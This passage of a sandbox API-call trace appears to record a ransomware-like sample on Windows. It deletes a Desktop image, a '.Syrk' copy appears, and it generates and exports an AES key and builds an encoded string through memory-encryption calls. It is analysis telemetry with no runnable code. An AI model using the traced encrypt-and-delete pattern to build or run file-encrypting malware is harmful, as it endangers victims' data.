lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp", lpFilePart=0x0) returned 0x3e [0195.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0195.343] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\x7ay056 0rvhbasv7.bmp"), fInfoLevelId=0x0, lpFileInformation=0x23d99e4 | out: lpFileInformation=0x23d99e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3a675b0, ftCreationTime.dwHighDateTime=0x1d99d99, ftLastAccessTime.dwLowDateTime=0x2ee7c780, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0x2ee7c780, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0xde36)) returned 1 [0195.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0195.343] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\x7ay056 0rvhbasv7.bmp")) returned 1 [0195.347] EtwEventActivityIdControl () returned 0x0 [0195.347] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.348] EtwEventActivityIdControl () returned 0x0 [0195.348] EtwEventActivityIdControl () returned 0x0 [0195.348] EtwEventActivityIdControl () returned 0x0 [0195.355] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\x7ay056 0rvhbasv7.bmp.syrk")) returned 0x20 [0195.356] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\x7ay056 0rvhbasv7.bmp.syrk")) returned 0x20 [0195.356] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0195.356] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp.Syrk", nBufferLength=0x44, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp.Syrk", lpFilePart=0x0) returned 0x43 [0195.356] EtwEventActivityIdControl () returned 0x0 [0195.357] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.357] EtwEventActivityIdControl () returned 0x0 [0195.357] EtwEventActivityIdControl () returned 0x0 [0195.357] EtwEventActivityIdControl () returned 0x0 [0195.374] EtwEventActivityIdControl () returned 0x0 [0195.374] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.374] EtwEventActivityIdControl () returned 0x0 [0195.374] EtwEventActivityIdControl () returned 0x0 [0195.374] EtwEventActivityIdControl () returned 0x0 [0195.381] EtwEventActivityIdControl () returned 0x0 [0195.381] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.382] EtwEventActivityIdControl () returned 0x0 [0195.382] EtwEventActivityIdControl () returned 0x0 [0195.382] EtwEventActivityIdControl () returned 0x0 [0195.387] EtwEventActivityIdControl () returned 0x0 [0195.388] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.388] EtwEventActivityIdControl () returned 0x0 [0195.388] EtwEventActivityIdControl () returned 0x0 [0195.388] EtwEventActivityIdControl () returned 0x0 [0195.393] EtwEventActivityIdControl () returned 0x0 [0195.394] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.394] EtwEventActivityIdControl () returned 0x0 [0195.394] EtwEventActivityIdControl () returned 0x0 [0195.394] EtwEventActivityIdControl () returned 0x0 [0195.399] EtwEventActivityIdControl () returned 0x0 [0195.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0195.456] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\X7aY056 0rvhbASv7.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\x7ay056 0rvhbasv7.bmp.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23e542c | out: lpFileInformation=0x23e542c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0f2b750, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xf0f2b750, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xf0f4da30, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0xde54)) returned 1 [0195.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0195.458] GetConsoleOutputCP () returned 0x1b5 [0195.459] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0195.459] GetConsoleOutputCP () returned 0x1b5 [0195.459] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0195.459] GetConsoleOutputCP () returned 0x1b5 [0195.459] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0195.459] GetConsoleOutputCP () returned 0x1b5 [0195.460] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0195.460] GetConsoleOutputCP () returned 0x1b5 [0195.460] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0195.460] GetConsoleOutputCP () returned 0x1b5 [0195.460] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0195.460] GetConsoleOutputCP () returned 0x1b5 [0195.461] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0195.461] GetConsoleOutputCP () returned 0x1b5 [0195.461] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0195.461] GetConsoleOutputCP () returned 0x1b5 [0195.461] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0195.461] GetConsoleOutputCP () returned 0x1b5 [0195.461] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0195.461] GetConsoleOutputCP () returned 0x1b5 [0195.461] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0195.462] GetConsoleOutputCP () returned 0x1b5 [0195.462] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0195.462] GetConsoleOutputCP () returned 0x1b5 [0195.462] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0195.462] GetConsoleOutputCP () returned 0x1b5 [0195.462] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0195.462] GetConsoleOutputCP () returned 0x1b5 [0195.462] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0195.462] GetConsoleOutputCP () returned 0x1b5 [0195.463] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0195.463] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0195.463] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0195.464] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2408214*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x2408214*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0195.465] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0195.465] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0195.466] EtwEventActivityIdControl () returned 0x0 [0195.466] EtwEventActivityIdControl () returned 0x0 [0195.467] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.467] EtwEventActivityIdControl () returned 0x0 [0195.467] EtwEventActivityIdControl () returned 0x0 [0195.467] EtwEventActivityIdControl () returned 0x0 [0195.470] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.470] EtwEventActivityIdControl () returned 0x0 [0195.471] EtwEventActivityIdControl () returned 0x0 [0195.471] EtwEventActivityIdControl () returned 0x0 [0195.473] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x5c4ccc0) returned 1 [0195.474] CryptGenKey (in: hProv=0x5c4ccc0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c69200) returned 1 [0195.474] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0195.475] CryptExportKey (in: hKey=0x5c69200, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0195.475] CryptExportKey (in: hKey=0x5c69200, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x240ff0c, pdwDataLen=0x5a2e79c | out: pbData=0x240ff0c*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0195.475] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.476] EtwEventActivityIdControl () returned 0x0 [0195.476] EtwEventActivityIdControl () returned 0x0 [0195.476] EtwEventActivityIdControl () returned 0x0 [0195.477] SysStringLen (param_1="") returned 0x8 [0195.477] SysStringLen (param_1="a") returned 0x8 [0195.477] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.477] SysStringLen (param_1="ﻅ⥋쭟밧熻") returned 0x8 [0195.477] SysStringLen (param_1="ﻅ⥋쭟밧熻") returned 0x8 [0195.477] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.477] SysStringLen (param_1="aG") returned 0x8 [0195.477] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.477] SysStringLen (param_1="꼸뒅綃兌싽ə᜜໕") returned 0x8 [0195.477] SysStringLen (param_1="꼸뒅綃兌싽ə᜜໕") returned 0x8 [0195.477] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.477] SysStringLen (param_1="aGQ") returned 0x8 [0195.477] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.478] SysStringLen (param_1="쟯\მ휎즋䅀ﳌ刨⋇) returned 0x8 [0195.478] SysStringLen (param_1="쟯\მ휎즋䅀ﳌ刨⋇) returned 0x8 [0195.478] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.478] SysStringLen (param_1="aGQn") returned 0x8 [0195.478] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.478] SysStringLen (param_1="씼ѫ䘇袸엋뙐") returned 0x8 [0195.478] SysStringLen (param_1="씼ѫ䘇袸엋뙐") returned 0x8 [0195.478] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.478] SysStringLen (param_1="aGQnm") returned 0x8 [0195.478] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.478] SysStringLen (param_1="▇漲ᕂ쎎ㅵ縹룣") returned 0x8 [0195.478] SysStringLen (param_1="▇漲ᕂ쎎ㅵ縹룣") returned 0x8 [0195.478] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.479] SysStringLen (param_1="aGQnmO") returned 0x8 [0195.479] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.479] SysStringLen (param_1="켬ꕏᢠ՟趫欈⡙僩") returned 0x8 [0195.479] SysStringLen (param_1="켬ꕏᢠ՟趫欈⡙僩") returned 0x8 [0195.479] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.479] SysStringLen (param_1="aGQnmOI") returned 0x8 [0195.479] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.479] SysStringLen (param_1="眘颉ჵퟟꅛ꫚彙껛") returned 0x8 [0195.479] SysStringLen (param_1="眘颉ჵퟟꅛ꫚彙껛") returned 0x8 [0195.479] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.480] SysStringLen (param_1="aGQnmOI9") returned 0x8 [0195.480] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.480] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄") returned 0x8 [0195.480] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄") returned 0x8 [0195.480] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄") returned 0x8 [0195.480] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄") returned 0x10 [0195.480] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.480] SysStringLen (param_1="aGQnmOI9T꛷ꉐ䕇ⓝ说槒") returned 0x10 [0195.480] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.481] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄䦮帎㡙\೙첗뵑댫⊹) returned 0x10 [0195.481] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄䦮帎㡙\೙첗뵑댫⊹) returned 0x10 [0195.481] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.481] SysStringLen (param_1="aGQnmOI9TOꉐ䕇ⓝ说槒") returned 0x10 [0195.481] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.481] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄䕻ൿ퇍⪝䉊眽昽") returned 0x10 [0195.481] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄䕻ൿ퇍⪝䉊眽昽") returned 0x10 [0195.481] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.481] SysStringLen (param_1="aGQnmOI9TOU䕇ⓝ说槒") returned 0x10 [0195.481] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.481] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄࿰췣㡛机텙솃᡺") returned 0x10 [0195.481] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄࿰췣㡛机텙솃᡺") returned 0x10 [0195.481] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.482] SysStringLen (param_1="aGQnmOI9TOU8ⓝ说槒") returned 0x10 [0195.482] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.482] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄\蟜㾓┠犪灭툡≲) returned 0x10 [0195.482] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄\蟜㾓┠犪灭툡≲) returned 0x10 [0195.482] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.482] SysStringLen (param_1="aGQnmOI9TOU8W说槒") returned 0x10 [0195.482] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.482] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄ᯔ㴖ᒩ䭁ꊃ俧潀潓") returned 0x10 [0195.482] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄ᯔ㴖ᒩ䭁ꊃ俧潀潓") returned 0x10 [0195.482] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.482] SysStringLen (param_1="aGQnmOI9TOU8WA槒") returned 0x10 [0195.482] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.482] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄靤᩹岐㩈뼲躽쪶") returned 0x10 [0195.482] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄靤᩹岐㩈뼲躽쪶") returned 0x10 [0195.482] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.483] SysStringLen (param_1="aGQnmOI9TOU8WAG") returned 0x10 [0195.483] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.483] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄턺⫩癟ୖ궵맄읅蚗") returned 0x10 [0195.483] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄턺⫩癟ୖ궵맄읅蚗") returned 0x10 [0195.483] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.483] SysStringLen (param_1="aGQnmOI9TOU8WAGf") returned 0x10 [0195.483] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.483] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍") returned 0x10 [0195.483] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍") returned 0x10 [0195.483] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍") returned 0x10 [0195.484] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍") returned 0x18 [0195.484] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.484] SysStringLen (param_1="aGQnmOI9TOU8WAGf7爋鳕憦谉襁瀶") returned 0x18 [0195.484] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.484] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍揇雖焣ᮂ뮕䯾ʳ舔") returned 0x18 [0195.484] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍揇雖焣ᮂ뮕䯾ʳ舔") returned 0x18 [0195.484] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.484] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+鳕憦谉襁瀶") returned 0x18 [0195.484] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.484] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍䬄᢮멕∷딢㠮\⋞) returned 0x18 [0195.484] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍䬄᢮멕∷딢㠮\⋞) returned 0x18 [0195.484] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.484] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+F鳕憦谉襁瀶") returned 0x18 [0195.484] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.485] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍禓ℿ懛⍲띮驠㏉尫") returned 0x18 [0195.485] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍禓ℿ懛⍲띮驠㏉尫") returned 0x18 [0195.485] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.485] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE憦谉襁瀶") returned 0x18 [0195.485] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.485] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍긧ᤥ들\廜炙缅뜄∭) returned 0x18 [0195.485] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍긧ᤥ들\廜炙缅뜄∭) returned 0x18 [0195.485] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.485] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8谉襁瀶") returned 0x18 [0195.485] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.485] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍Ᏹ倠겐湯諶뗔殀") returned 0x18 [0195.485] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍Ᏹ倠겐湯諶뗔殀") returned 0x18 [0195.485] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.486] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8e襁瀶") returned 0x18 [0195.486] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.486] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍煄ሐ瞆\뷟䚭呆祜∁) returned 0x18 [0195.486] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍煄ሐ瞆\뷟䚭呆祜∁) returned 0x18 [0195.486] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.486] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8eg瀶") returned 0x18 [0195.486] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.486] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍訶剽ڳ噿잺턘➕\⋛) returned 0x18 [0195.486] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍訶剽ڳ噿잺턘➕\⋛) returned 0x18 [0195.486] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.486] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egs") returned 0x18 [0195.486] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.487] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫") returned 0x18 [0195.487] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫") returned 0x18 [0195.487] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫") returned 0x18 [0195.487] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫") returned 0x20 [0195.487] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.487] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYᨺ嶟젞ﺴ俱ୁ嚐") returned 0x20 [0195.487] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.487] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫ᖗ胢䷓扃ย鹾쫥\⋜) returned 0x20 [0195.487] SysStringLen 